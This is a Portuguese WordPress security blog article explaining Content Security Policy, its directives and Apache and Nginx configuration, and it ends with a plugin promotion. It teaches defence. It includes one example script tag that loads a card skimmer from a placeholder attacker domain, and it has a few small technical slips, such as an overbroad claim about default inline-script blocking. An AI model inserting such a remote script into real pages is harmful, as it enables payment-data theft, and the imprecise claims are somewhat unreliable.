Política de segurança de conteúdo (CSP) explicada
Publicados: 2023-04-18Com a rápida evolução das ameaças à segurança cibernética, contar com uma única camada de defesa não é mais suficiente para proteger sua presença online. Isso torna imperativo que os proprietários de sites tenham uma abordagem de segurança em várias camadas, que é melhor representada pelo conceito de defesa em profundidade.
Em sites e aplicativos da Web, a defesa em profundidade pode ser implementada usando cabeçalhos de resposta de segurança HTTP, projetados especificamente para impor controles de segurança adicionais no lado do cliente. Os cabeçalhos de resposta HTTP são uma importante segunda linha de defesa contra ataques cibernéticos direcionados a aplicativos da web.
Como um dos principais cabeçalhos de resposta de segurança HTTP, a Política de Segurança de Conteúdo (CSP) pode efetivamente proteger seu site e seus visitantes das consequências devastadoras de cross-site scripting (XSS) e ataques de injeção de dados.
Neste guia, você aprenderá por que a política de segurança de conteúdo é um cabeçalho de segurança HTTP importante e como implementar uma defesa profunda em seu site para mitigar com sucesso uma ampla variedade de ataques cibernéticos sofisticados direcionados ao WordPress.
O que são cabeçalhos de resposta HTTP?
Os cabeçalhos de resposta HTTP são um conjunto de controles implementados em sites e aplicativos da Web que definem como o navegador interage com o conteúdo solicitado. A implementação de cabeçalhos de resposta HTTP pode ajudar os proprietários de sites a melhorar consideravelmente a experiência do usuário, além de melhorar a funcionalidade, o desempenho e a segurança de seus sites.
Como pequenos bits de informação são enviados junto com o conteúdo solicitado pelos visitantes do site, os cabeçalhos de resposta HTTP modificam a forma como os navegadores interpretam e processam a resposta recebida do servidor web. E embora o conteúdo e a funcionalidade do site permaneçam inalterados, a implementação de cabeçalhos de resposta HTTP pode alterar a percepção dos usuários.
Cabeçalhos de resposta de segurança HTTP como uma segunda camada de defesa contra ameaças de segurança
Uma das principais áreas em que os cabeçalhos de resposta HTTP, como a política de segurança de conteúdo, são usados é a segurança do site. A poderosa funcionalidade fornecida pelos cabeçalhos de resposta HTTP os torna uma importante segunda linha de defesa contra muitos ataques cibernéticos direcionados a aplicativos dinâmicos da Web, como o WordPress.
A primeira linha de defesa contra ataques cibernéticos consiste em várias medidas de segurança baseadas em código e do lado do servidor que reduzem a superfície de ataque e eliminam as vulnerabilidades no nível do aplicativo. Isso inclui o uso de práticas de codificação seguras, o estabelecimento de políticas de controle de acesso fortes e a implementação de um firewall de aplicativo da Web para inspecionar as solicitações recebidas e filtrar o tráfego malicioso.
E embora ter uma primeira linha de defesa forte seja absolutamente essencial, contar com uma única camada de segurança ainda pode deixar seu site vulnerável a ataques cada vez mais sofisticados. Um único controle de segurança pode ser facilmente contornado, especialmente se um invasor for capaz de identificar e explorar uma vulnerabilidade não corrigida.
A política de segurança de conteúdo e outros cabeçalhos de resposta de segurança fornecem uma camada adicional de proteção, reduzindo os danos causados por ataques mal-intencionados. Se um hacker mal-intencionado for capaz de identificar uma vulnerabilidade em seu site com sucesso, uma segunda linha de defesa forte tornará muito mais difícil para o invasor explorá-la.
O que é Política de Segurança de Conteúdo?
Política de segurança de conteúdo (CSP) é um mecanismo de segurança usado para definir uma lista de fontes confiáveis de conteúdo que um site ou uma página da web específica pode carregar, bem como qual protocolo será usado para isso. Isso pode incluir scripts, folhas de estilo, imagens e outros tipos de conteúdo que podem ser incorporados a uma página da web.
A política de segurança de conteúdo é uma defesa poderosa em controle de segurança profundo que ajuda a bloquear solicitações não autorizadas de conteúdo localizado fora do site atual. Além disso, o CSP impede com êxito a execução de scripts embutidos e restringe a execução de código dinâmico inseguro.
Como um cabeçalho de resposta de segurança HTTP, o CSP passa as instruções configuradas pelo proprietário do site para o navegador do visitante. O navegador, então, deve seguir as instruções e bloquear a entrega de conteúdo não autorizado pelas regras da Política de Segurança de Conteúdo. Dessa forma, o navegador verá que determinado conteúdo foi referenciado por uma página da web, mas se recusará a carregá-lo.
Por que a política de segurança de conteúdo é tão importante?
Como segunda linha de defesa, a Política de segurança de conteúdo não impede que o invasor comprometa um site na maioria dos casos. Ainda assim, ajudará a mitigar as consequências devastadoras da infecção por malware, bloqueando as tentativas do hacker de explorá-lo.
Mesmo que um malware seja injetado em seu site com o objetivo de roubar informações confidenciais ou realizar outras atividades maliciosas, uma política robusta de CSP manterá você e seus clientes seguros. O ator malicioso simplesmente não será capaz de explorar a confiança de seus clientes em seu site, pois o navegador impedirá que qualquer código malicioso seja executado em primeiro lugar.
A capacidade de negar os esforços dos hackers para explorar seu site enquanto você recupera o controle total sobre ele e executa uma limpeza de malware depois que ele foi comprometido é o que torna a implementação da política de segurança de conteúdo uma ferramenta poderosa para proteger sites modernos e aplicativos da web.
Do que o CSP protege?
A política de segurança de conteúdo protege um site e seus visitantes de uma variedade de ataques cibernéticos facilitados por infecções por malware, bem como tentativas de invasão baseadas em scripts maliciosos hospedados nos recursos controlados pelo invasor. Isso inclui cross-site scripting (XSS), ataques de inclusão de arquivos e clickjacking como os três principais vetores de ataque mitigados pela política de segurança de conteúdo.
Script entre sites (XSS)
Cross-site scripting (XSS) é um ataque de injeção envolvendo a inserção de código malicioso em uma página da web. O código será executado pelo navegador quando a página da Web for carregada, permitindo que o invasor roube informações confidenciais, sequestre sessões de usuários ou distribua malware.
Para realizar ataques de script entre sites, os hackers podem injetar malware como um script embutido, que é incorporado ao HTML, ou fazendo referência a um script externo, geralmente hospedado em um site controlado pelo invasor. Durante o processo de renderização do conteúdo, o código malicioso será carregado no navegador do usuário e executado sem seu conhecimento ou consentimento.
Um bom exemplo de ataques de script entre sites que afetam os proprietários de sites WordPress é a injeção de malware de clonagem de cartões no checkout WooCommerce, que roubará as informações de pagamento do comprador. Os card skimmers e outros tipos de sniffers de JavaScript usados para realizar ataques cross-site scripting geralmente se parecem com isso no código-fonte de uma página da web:
<script type="text/javascript" src="https://hackerswebsite/evil.js"></script>
No caso de um script embutido, você verá um código malicioso embutido nas tags de script ou até mesmo disfarçado como uma folha de estilo usando as tags de estilo.
A mitigação de cross-site scripting é o principal objetivo da implementação da Política de Segurança de Conteúdo. Ao impedir a execução de scripts embutidos, Javascript inseguro injetado usando a função eval e bloqueio de scripts carregados de fontes não confiáveis, a Política de segurança de conteúdo (CSP) atenua efetivamente o risco de execução arbitrária de código em um site.
Ataques de inclusão de arquivos
Ataques de inclusão de arquivo são outro tipo de ataque de injeção que a política de segurança de conteúdo pode mitigar. Como uma técnica de invasão, os ataques de inclusão remota de arquivos permitem que o hacker explore a validação de entrada deficiente em diferentes áreas do site para executar código malicioso hospedado em um recurso externo.
Os ataques de inclusão remota de arquivos geralmente exploram vulnerabilidades não corrigidas em plugins e temas do WordPress com o objetivo de invadir um site instalando um backdoor de shell da web. Semelhante à mitigação de script entre sites, a política de segurança de conteúdo bloqueará efetivamente todos os scripts externos suspeitos de serem injetados no site, tornando quase impossível para o invasor explorar as vulnerabilidades de inclusão remota de arquivo (RFI).
roubo de cliques
Além de permitir que os proprietários de sites definam uma lista de recursos confiáveis para carregar o conteúdo, a Política de segurança de conteúdo pode ajudar a limitar a lista de sites autorizados a incorporar conteúdo do site em quadros. Isso ajuda a atenuar os ataques de correção da interface do usuário (IU), como clickjacking, dos quais seus clientes podem ser vítimas ao abrir links suspeitos enviados a eles em um ataque de spear phishing.
A diretiva frame-ancestors
da política de segurança de conteúdo substituiu com sucesso o cabeçalho X-Frame-Options
, que agora foi descontinuado pela maioria dos navegadores modernos. Esta e outras diretivas CSP são absolutamente essenciais na segurança do WordPress.
Diretrizes da política de segurança de conteúdo
A política de segurança de conteúdo ajuda a especificar um conjunto de regras, conhecidas como diretivas, para controlar as fontes de conteúdo que seu site pode carregar. As diretivas da política de segurança de conteúdo são uma lista de instruções incluídas no cabeçalho HTTP de uma página da Web solicitada que define os tipos de conteúdo que um navegador pode carregar nessa página, junto com a lista de fontes confiáveis das quais pode ser carregado.
Entre as várias diretivas de política de segurança de conteúdo disponíveis, as regras abaixo são as mais comumente aplicadas para proteger sites de scripts entre sites (XSS), clickjacking e ataques de injeção de dados. Todas as diretivas CSP a seguir, com exceção de frame-ancestors
, form-action
e upgrade-insecure-requests
, são diretivas de busca que especificam a lista de recursos da qual carregar o conteúdo. Frame-ancestors
e form-action
são diretivas de navegação que definem como outros recursos podem usar o conteúdo do site para o qual a Política de segurança de conteúdo está configurada.
-
default-src
define a política para carregar todos os tipos de recursos que o navegador usará como padrão se nenhuma regra adicional for especificada para um determinado tipo de conteúdo. -
script-src
especifica as fontes confiáveis de arquivos JavaScript que podem ser carregados do site. -
style-src
define a lista de fontes válidas de folhas de estilo (CSS). -
img-src
listas de permissões das quais as imagens de recursos podem ser carregadas. -
media-src
especifica as fontes confiáveis de arquivos de áudio e vídeo incorporados nos elementos HTML<audio>
e<video>
-
connect-src
fornece controle sobre conexõesXMLHttpRequest
,EventSource
eWebSocket
. -
child-src
define as fontes de conteúdo que podem ser incluídas em uma página da Web por meio de quadros. -
frame-ancestors
é uma diretiva de navegação que ajuda a mitigar ataques de clickjacking, especificando a lista de recursos que têm permissão para incorporar o conteúdo de um site em frames. -
form-action
restringe os recursos aos quais os formulários da web podem enviar informações, impedindo a exfiltração de dados para recursos externos controlados pelo invasor. -
upgrade-insecure-requests
instrui o navegador a atualizar todas as solicitações inseguras paraHTTPS
, garantindo conexões seguras.
Dependendo do tipo de site e da funcionalidade específica que ele fornece, os proprietários do site podem precisar configurar várias diretivas para controlar todas as fontes de conteúdo buscadas externamente.
O padrão da indústria para garantir proteção suficiente contra scripts cruzados e ataques de injeção usando a Política de segurança de conteúdo como a segunda linha de defesa é limitar as fontes válidas de conteúdo externo ao site atual somente por meio da diretiva default-src
. Diretivas mais direcionadas podem ser usadas para listar recursos para determinados tipos de conteúdo, mas negar todos os outros recursos é a abordagem recomendada.
Configurando diretivas de política de segurança de conteúdo
Cada diretiva de política de segurança de conteúdo aceita uma lista de valores representados por um localizador uniforme de recursos (URL), que deve incluir o endereço da Web válido precedido por um protocolo, um nome de domínio, um caractere curinga ou valores específicos como 'self'
ou 'none'
fornecido pelo cabeçalho de resposta HTTP.
Aqui estão algumas instâncias de valores que podem ser atribuídos às diretivas da política de segurança de conteúdo:
valor diretivo | Exemplo | Definição |
* | media-src* | Curinga, usado para permitir todo o carregamento de conteúdo de todos os recursos. |
'self' | default-src 'self' frame-ancestors 'self'; | Coloca o site atual na lista de permissões como a única fonte válida de conteúdo específico. Define a política de segurança estrita da mesma origem, a política de segurança de conteúdo padrão recomendada. Usado com a diretiva frame-ancestors, não permite o enquadramento de conteúdo em recursos que não sejam o próprio site. |
'none' | media-src 'none' | Não permite o carregamento de recursos de qualquer fonte, incluindo o mesmo site. |
domain.com *.domain.com | img-sr c *.domain.com | Permite carregar conteúdo de qualquer subdomínio em domain.com. |
https://domain.com | default-src 'https://domain.com' | Permite a busca de conteúdo apenas por HTTPS do nome de domínio especificado. |
Por padrão, independentemente das regras especificadas, a política de segurança de conteúdo bloqueará a execução de scripts embutidos e impedirá que as páginas da Web executem funções de conversão de texto em JavaScript, como eval, comumente usadas por hackers mal-intencionados. Adicionar os valores 'unsafe-inline'
e 'unsafe-eval'
à diretiva script-src
Content Security Policy pode ajudar os proprietários de sites a contornar as restrições, mas isso pode sujeitar o site a riscos de segurança significativos e minar as proteções impostas por outras diretivas .
A seguinte configuração de cabeçalho da política de segurança de conteúdo impede efetivamente que o site carregue conteúdo de recursos externos e não permite a execução de scripts embutidos e JavaScript inseguro:
Content-Security-Policy "default-src 'self' https://mywebsite.com; frame-ancestors 'self'"
Dado o valor 'self'
, a diretiva frame-ancestors atenua os ataques de clickjacking ao bloquear o enquadramento do conteúdo.
Política de segurança de conteúdo e redes de entrega de conteúdo (CDN)
Como a maioria das redes de entrega de conteúdo, como Cloudflare, são totalmente compatíveis com a Política de Segurança de Conteúdo e não modificam os cabeçalhos CPS do servidor de origem. Você não precisa colocar nenhum recurso adicional na lista de permissões nas regras de segurança configuradas.
Implementando Política de Segurança de Conteúdo para WordPress
O WordPress oferece vários plugins para adicionar cabeçalhos de resposta HTTP, o que pode ser uma boa opção para usuários não técnicos. Embora essa possa ser uma opção conveniente, configurar cabeçalhos de resposta de segurança, como a Política de Segurança de Conteúdo para o seu site WordPress, é um processo direto que não requer a instalação de nenhum software de terceiros.
O módulo mod_headers
Apache e o módulo ngx_http_headers_module
Nginx permitem configurar cabeçalhos de resposta HTTP para o seu site. Se você estiver usando o Nginx, poderá incluir a diretiva add_header
no bloco {} do servidor do site para configurar os cabeçalhos de resposta HTTP.
Da mesma forma, se você usar o Apache como seu servidor da web, poderá usar as instruções “Header set” e “Header append” para configurar as políticas de segurança no arquivo .htaccess
local do seu site, encontrado na raiz do documento. Desta forma, a configuração especificada no arquivo .htaccess no diretório raiz do seu site é aplicada a todas as páginas da web no site.
É importante observar que, ao usar o Apache, você pode configurar cabeçalhos de resposta HTTP localmente – em um arquivo .htaccess
– e globalmente para todos os sites no servidor. É possível que seu provedor de hospedagem configure determinados cabeçalhos de resposta globalmente, especialmente se você estiver em um plano de hospedagem compartilhada. O uso do método “Conjunto de cabeçalho” para configurar a Política de segurança de conteúdo substituirá completamente as regras globais existentes, enquanto o uso de “Anexar cabeçalho” mesclará sua nova política em um cabeçalho de resposta existente, em vez de substituir toda a configuração.
Você pode adicionar a configuração da Política de segurança de conteúdo abaixo para impor controles de segurança rígidos em seu site WordPress
Para Apache:
Header set Content-Security-Policy "default-src 'self' https://mywebsite.com; frame-ancestors 'self';"
Para Nginx:
add_header Content-Security-Policy "default-src 'self' https://mywebsite.com; frame-ancestors 'self';"
Elaborar uma configuração de política de segurança de conteúdo que atenda às necessidades de segurança do seu site pode exigir alguns testes, bem como uma compreensão completa da funcionalidade do site. Além disso, a implementação de novos protocolos de segurança em seu site WordPress pode causar uma perda de funcionalidade, por isso é importante considerar o impacto de quaisquer alterações com cuidado. Você pode entrar em contato com seu provedor de hospedagem ou com seu desenvolvedor para garantir que os cabeçalhos de segurança estejam configurados corretamente e não causem consequências negativas.
Implemente a defesa em profundidade com o iThemes Security Pro
No atual cenário de ameaças, é fundamental adotar uma estratégia de defesa detalhada. Em relação aos aplicativos dinâmicos da Web modernos, como o WordPress, o cabeçalho da política de segurança de conteúdo está no centro da defesa em profundidade, fornecendo uma camada crítica de proteção contra scripts entre sites (XSS), ataques de inclusão de arquivos, clickjacking e outros ataques baseados na Web.
Implementar uma solução abrangente de defesa em profundidade sempre foi um desafio. Mas com o iThemes Security Pro, um plug-in de segurança robusto e confiável, você pode proteger seu site WordPress. Com recursos como monitoramento de integridade de arquivos, verificação de vulnerabilidades, atualizações automáticas de software e autenticação sem senha, você pode ter certeza de que todas as partes críticas do seu site WordPress estão protegidas contra ameaças de segurança em constante evolução.
O melhor plugin de segurança do WordPress para proteger e proteger o WordPress
Atualmente, o WordPress é responsável por mais de 40% de todos os sites, tornando-se um alvo fácil para hackers com intenções maliciosas. O plug-in iThemes Security Pro elimina as suposições sobre a segurança do WordPress para facilitar a segurança e a proteção do seu site WordPress. É como ter um especialista em segurança em tempo integral na equipe que constantemente monitora e protege seu site WordPress para você.
Kiki é bacharel em gerenciamento de sistemas de informação e tem mais de dois anos de experiência em Linux e WordPress. Ela atualmente trabalha como especialista em segurança para Liquid Web e Nexcess. Antes disso, Kiki fazia parte da equipe de suporte do Liquid Web Managed Hosting, onde ajudou centenas de proprietários de sites WordPress e aprendeu quais problemas técnicos eles costumam encontrar. Sua paixão por escrever permite que ela compartilhe seu conhecimento e experiência para ajudar as pessoas. Além da tecnologia, Kiki gosta de aprender sobre o espaço e ouvir podcasts sobre crimes reais.